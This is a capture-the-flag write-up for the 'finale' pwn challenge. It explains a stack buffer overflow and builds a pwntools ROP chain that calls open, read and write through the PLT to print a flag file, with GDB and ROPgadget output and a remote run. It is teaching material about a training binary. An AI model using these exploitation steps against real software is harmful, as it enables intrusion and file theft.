Finale
12 minutes to read
We are given a 64-bit binary called finale
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Environment setup
It might happen that we don’t have a version of Glibc that is accepted by the program:
$ ./finale
./finale: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./finale)
Luckily, in Spooky Time we were provided with a library and a loader, version 2.35:
$ ../pwn_spooky_time/glibc/ld-linux-x86-64.so.2 ../pwn_spooky_time/glibc/libc.so.6
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 11.2.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
So, we can copy that directory in the current environment and use pwninit
to patch the binary and use this new Glibc version:
$ cp -r ../pwn_spooky_time/glibc .
$ pwninit --libc glibc/libc.so.6 --ld glibc/ld-linux-x86-64.so.2 --bin finale --no-template
bin: finale
libc: glibc/libc.so.6
ld: glibc/ld-linux-x86-64.so.2
unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.35-0ubuntu3.1_amd64.deb
warning: failed unstripping libc: libc deb error: failed to find file in data.tar
copying finale to finale_patched
running patchelf on finale_patched
Now we have another binary (finale_patched
), and we are able to run it properly:
$ ./finale_patched
Let's celebrate Spooktober!!!
β ββ
βββ β
ββββ β β
β β ββ β
β β β β
β
β ββ β ββ
β β ββ
βββ ββ
ββ β
ββ β ββββββ ββ β
ββββ ββββ
ββ ββ β ββ βββ
ββ β ββ
β βββ
βββ ββ β ββ
β β β ββββ
βββ β β β β
ββββββ β β β β β
ββ βββββββ β ββ β β
ββββββββββ ββ βββ
ββββββββββ ββ β
βββββββββ β β β
ββ βββ β
βββββ
ββ
[Strange man in mask screams some nonsense]: Us
[Strange man in mask]: In order to proceed, tell us the secret phrase:
Reverse engineering
If we open the binary in Ghidra, we will see this decompiled C source code for the main
function:
int main() {
int ret;
undefined8 secret_phrase;
undefined8 local_40;
undefined4 local_38;
undefined8 local_28;
undefined8 local_20;
int fd;
ulong i;
banner();
local_28 = 0;
local_20 = 0;
fd = open("/dev/urandom", 0);
read(fd, &local_28, 8);
printf("\n[Strange man in mask screams some nonsense]: %s\n\n", &local_28);
close(fd);
secret_phrase = 0;
local_40 = 0;
local_38 = 0;
printf("[Strange man in mask]: In order to proceed, tell us the secret phrase: ");
__isoc99_scanf("%16s", &secret_phrase);
i = 0;
do {
if (0xe < i) {
LAB_00401588:
ret = strncmp((char *) &secret_phrase, "s34s0nf1n4l3b00", 0xf);
if (ret == 0) {
finale();
} else {
printf("%s\n[Strange man in mask]: Sorry, you are not allowed to enter here!\n\n", &DAT_00402020);
}
return 0;
}
if (*(char *) ((long) &secret_phrase + i) == '\n') {
*(undefined *) ((long) &secret_phrase + i) = 0;
goto LAB_00401588;
}
i = i + 1;
} while (true);
}
Here we are asked to enter a secret phrase, which is hard-coded in the function above (s34s0nf1n4l3b00
). If we use it, we are prompted to enter more data, so let’s test a Buffer Overflow vulnerability:
$ ./finale_patched
Let's celebrate Spooktober!!!
β ββ
βββ β
ββββ β β
β β ββ β
β β β β
β
β ββ β ββ
β β ββ
βββ ββ
ββ β
ββ β ββββββ ββ β
ββββ ββββ
ββ ββ β ββ βββ
ββ β ββ
β βββ
βββ ββ β ββ
β β β ββββ
βββ β β β β
ββββββ β β β β β
ββ βββββββ β ββ β β
ββββββββββ ββ βββ
ββββββββββ ββ β
βββββββββ β β β
ββ βββ β
βββββ
ββ
[Strange man in mask screams some nonsense]: _
'$
[Strange man in mask]: In order to proceed, tell us the secret phrase: s34s0nf1n4l3b00
[Strange man in mask]: Season finale is here! Take this souvenir with you for good luck: [0x7ffc798f0b40]
[Strange man in mask]: Now, tell us a wish for next year: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Strange man in mask]: That's a nice wish! Let the Spooktober Spirit be with you!
zsh: segmentation fault (core dumped) ./finale_patched
Buffer Overflow vulnerability
The program crashed with a segmentation fault, so it is vulnerable to Buffer Overflow. This second stage of the program corresponds to a function called finale
:
void finale() {
undefined data[64];
printf("\n[Strange man in mask]: Season finale is here! Take this souvenir with you for good luck: [%p]", data);
printf("\n\n[Strange man in mask]: Now, tell us a wish for next year: ");
fflush(stdin);
fflush(stdout);
read(0, data, 0x1000);
write(1,"\n[Strange man in mask]: That\'s a nice wish! Let the Spooktober Spirit be with you!\n\n", 0x54);
}
The Buffer Overflow exists because data
is a character array of 64 bytes, but the programs reads up to 0x1000
bytes. Therefore, we can write outside of the data
array and modify existing values on the stack that are used by the program to control the execution flow. For instance, when the program calls finale
, it stores the return address on the stack so that it can be popped when returning from finale
.
In the previous example, we overwrote this saved return address with 0x41414141
(AAAA
in hexadecimal format), which is not a valid address. That’s why the program crashed.
As attackers, we are interested in controlling this value so that we can redirect program execution arbitrarily. We can use GDB to find the offset needed to reach this position in the stack.
Note: For some reason, the following steps only work using bash
as shell, not zsh
.
$ gdb -q finale_patched
Reading symbols from finale_patched...
(No debugging symbols found in finale_patched)
gefβ€ pattern create 100
[+] Generating a pattern of 100 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
[+] Saved as '$_gef0'
gefβ€ run
Starting program: ./finale_patched
Let's celebrate Spooktober!!!
β ββ
βββ β
ββββ β β
β β ββ β
β β β β
β
β ββ β ββ
β β ββ
βββ ββ
ββ β
ββ β ββββββ ββ β
ββββ ββββ
ββ ββ β ββ βββ
ββ β ββ
β βββ
βββ ββ β ββ
β β β ββββ
βββ β β β β
ββββββ β β β β β
ββ βββββββ β ββ β β
ββββββββββ ββ βββ
ββββββββββ ββ β
βββββββββ β β β
ββ βββ β
βββββ
ββ
[Strange man in mask screams some nonsense]: Βs4d
[Strange man in mask]: In order to proceed, tell us the secret phrase: s34s0nf1n4l3b00
[Strange man in mask]: Season finale is here! Take this souvenir with you for good luck: [0x7fffffffdf70]
[Strange man in mask]: Now, tell us a wish for next year: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
[Strange man in mask]: That's a nice wish! Let the Spooktober Spirit be with you!
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401491 in finale ()
gefβ€ pattern offset $rsp
[+] Searching for '$rsp'
[+] Found at offset 72 (little-endian search) likely
[+] Found at offset 65 (big-endian search)
So we need exactly 72 bytes to reach the saved return address.
Exploit strategy
The description of the challenge tells that the remote Glibc version has been modified, so we should not depend on Glibc to exploit the binary.
This time, instead of spawning a remote shell, we will aim to print the flag using functions open
, read
and write
, which are already linked to the binary and thus do not depend on Glibc. In order to call them, we will use the Procedure Linkage Table (PLT), which is a table that has jump instructions to the corresponding entry of the Global Offset Table (GOT), which has the runtime addresses of the functions inside Glibc if they have been called at least once. Since PIE is disabled, the PLT addresses are static.
Since NX is enabled, we must use Return Oriented Programming (ROP) in order to execute arbitrary code. For x86_64 binaries, arguments for function calls are stored in registers (in order: $rdi
, $rsi
, $rdx
, $rcx
…). We can set these registers using gadgets, which are sets of instructions that end in ret
. The purpose of using gadgets is to fill the stack with pointers to gadgets, so that the program executes a gadget and returns to the next one. That’s why this payload is known as ROP chain.
We can find useful gadgets for $rdi
and $rsi
:
$ ROPgadget --binary finale | grep ': pop r.i ; ret'
0x00000000004012d6 : pop rdi ; ret
0x00000000004012d8 : pop rsi ; ret
Nevertheless, we don’t have any simple way to set $rdx
:
$ ROPgadget --binary finale | grep rdx
0x0000000000401574 : add rax, rdx ; mov byte ptr [rax], 0 ; jmp 0x401588
0x0000000000401573 : clc ; add rax, rdx ; mov byte ptr [rax], 0 ; jmp 0x401588
0x0000000000401571 : mov eax, dword ptr [rbp - 8] ; add rax, rdx ; mov byte ptr [rax], 0 ; jmp 0x401588
0x0000000000401011 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
These are the declarations for open
, read
and write
:
int open(const char *pathname, int flags);
ssize_t read(int fd, void *buf, size_t count);
ssize_t write(int fd, const void *buf, size_t count);
Finding a stable ROP chain
There will be no problem when calling open
, because it expects two arguments ($rdi
and $rsi
). But read
and write
require $rdx
to contain the count of bytes to read/write, so it is an important value.
Luckily, there are some calls to read
and write
in finale
, let’s disassemble this function:
$ objdump -M intel --disassemble=finale finale
finale: file format elf64-x86-64
Disassembly of section .init:
Disassembly of section .plt:
Disassembly of section .plt.sec:
Disassembly of section .text:
0000000000401407 <finale>:
401407: f3 0f 1e fa endbr64
40140b: 55 push rbp
40140c: 48 89 e5 mov rbp,rsp
40140f: 48 83 ec 40 sub rsp,0x40
401413: 48 8d 45 c0 lea rax,[rbp-0x40]
401417: 48 89 c6 mov rsi,rax
40141a: 48 8d 05 ef 13 00 00 lea rax,[rip+0x13ef] # 402810 <_IO_stdin_used+0x810>
401421: 48 89 c7 mov rdi,rax
401424: b8 00 00 00 00 mov eax,0x0
401429: e8 12 fd ff ff call 401140 <printf@plt>
40142e: 48 8d 05 3b 14 00 00 lea rax,[rip+0x143b] # 402870 <_IO_stdin_used+0x870>
401435: 48 89 c7 mov rdi,rax
401438: b8 00 00 00 00 mov eax,0x0
40143d: e8 fe fc ff ff call 401140 <printf@plt>
401442: 48 8b 05 d7 2b 00 00 mov rax,QWORD PTR [rip+0x2bd7] # 404020 <stdin@@GLIBC_2.2.5>
401449: 48 89 c7 mov rdi,rax
40144c: e8 4f fd ff ff call 4011a0 <fflush@plt>
401451: 48 8b 05 b8 2b 00 00 mov rax,QWORD PTR [rip+0x2bb8] # 404010 <stdout@@GLIBC_2.2.5>
401458: 48 89 c7 mov rdi,rax
40145b: e8 40 fd ff ff call 4011a0 <fflush@plt>
401460: 48 8d 45 c0 lea rax,[rbp-0x40]
401464: ba 00 10 00 00 mov edx,0x1000
401469: 48 89 c6 mov rsi,rax
40146c: bf 00 00 00 00 mov edi,0x0
401471: e8 fa fc ff ff call 401170 <read@plt>
401476: ba 54 00 00 00 mov edx,0x54
40147b: 48 8d 05 2e 14 00 00 lea rax,[rip+0x142e] # 4028b0 <_IO_stdin_used+0x8b0>
401482: 48 89 c6 mov rsi,rax
401485: bf 01 00 00 00 mov edi,0x1
40148a: e8 a1 fc ff ff call 401130 <write@plt>
40148f: 90 nop
401490: c9 leave
401491: c3 ret
Disassembly of section .fini:
$ objdump -M intel --disassemble=finale finale | grep .dx
401464: ba 00 10 00 00 mov edx,0x1000
401476: ba 54 00 00 00 mov edx,0x54
So after calling finale
, $rdx
will be set to 0x54
which is enough.
Therefore, we will call open
, then return to finale
and then call read
and write
. We must use this order because open
sets $rdx = 0
at the end.
Exploit development
For the call to open
, we must use a pointer to "flag.txt"
as pathname
and 0
as flags
(which read-only mode). Notice that finale
outputs the address of data
:
void finale() {
undefined data[64];
printf("\n[Strange man in mask]: Season finale is here! Take this souvenir with you for good luck: [%p]", data);
// ...
}
So we can extract this pointer and use it as the pointer to "flag.txt"
. Therefore, our junk data must start with "flag.txt"
and we can fill the rest with null bytes up to 72 bytes (the offset):
def main():
p = get_process()
p.sendlineafter(b'In order to proceed, tell us the secret phrase: ', b's34s0nf1n4l3b00')
p.recvuntil(b'Season finale is here! Take this souvenir with you for good luck: [')
addr = int(p.recvuntil(b']').decode()[:-1], 16)
rop = ROP(elf)
pop_rdi_ret = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_ret = rop.find_gadget(['pop rsi', 'ret'])[0]
offset = 72
payload = b'flag.txt'
payload += b'\0' * (offset - len(payload))
payload += p64(pop_rdi_ret)
payload += p64(addr)
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(elf.plt.open)
payload += p64(elf.sym.finale)
p.sendlineafter(b'Now, tell us a wish for next year: ', payload)
p.interactive()
if __name__ == '__main__':
main()
$ python3 solve.py
[*] './finale_patched'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'./glibc'
[+] Starting local process './finale_patched': pid 465900
[*] Loading gadgets for './finale_patched'
[*] Switching to interactive mode
[Strange man in mask]: That's a nice wish! Let the Spooktober Spirit be with you!
[Strange man in mask]: Season finale is here! Take this souvenir with you for good luck: [0x7ffc476c9ef0]
[Strange man in mask]: Now, tell us a wish for next year: $
As shown, we have executed finale
again, so the ROP chain has worked.
Now we can continue with the next part of the ROP chain. Since the program opens three file descriptors at the start (0
for stdin
, 1
for stdout
and 2
for stderr
), the next file descriptor will be 3
. This value is used by read
. We can use the address leak again to store the contents of flag.txt
. The write
call is very similar to read
:
fd = 3
offset = 72
payload = b'flag.txt'
payload += b'\0' * (offset - len(payload))
payload += p64(pop_rdi_ret)
payload += p64(addr)
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(elf.plt.open)
payload += p64(elf.sym.finale)
p.sendlineafter(b'Now, tell us a wish for next year: ', payload)
payload = b'A' * offset
payload += p64(pop_rdi_ret)
payload += p64(fd)
payload += p64(pop_rsi_ret)
payload += p64(addr)
payload += p64(elf.plt.read)
payload += p64(pop_rdi_ret)
payload += p64(1)
payload += p64(pop_rsi_ret)
payload += p64(addr)
payload += p64(elf.plt.write)
p.sendlineafter(b'Now, tell us a wish for next year: ', payload)
p.recvline()
p.recvline()
p.recvline()
print(p.recvline())
p.close()
Using the above code, we can finish the exploit and get the flag locally:
$ python3 solve.py
[*] './finale_patched'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'./glibc'
[+] Starting local process './finale_patched': pid 470225
[*] Loaded 7 cached gadgets for 'finale_patched'
b'HTB{f4k3_fl4g_f0r_t3st1ng}\n'
[*] Stopped process './finale_patched' (pid 470225)
Flag
So, let’s try remotely:
$ python3 solve.py 159.65.49.148:31748
[*] './finale_patched'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'./glibc'
[+] Opening connection to 159.65.49.148 on port 31748: Done
[*] Loaded 7 cached gadgets for 'finale_patched'
b'HTB{53450n_f1n4l3_w1th0ut_l1bc}\n'
[*] Closed connection to 159.65.49.148 port 31748
The full exploit code is here: solve.py
.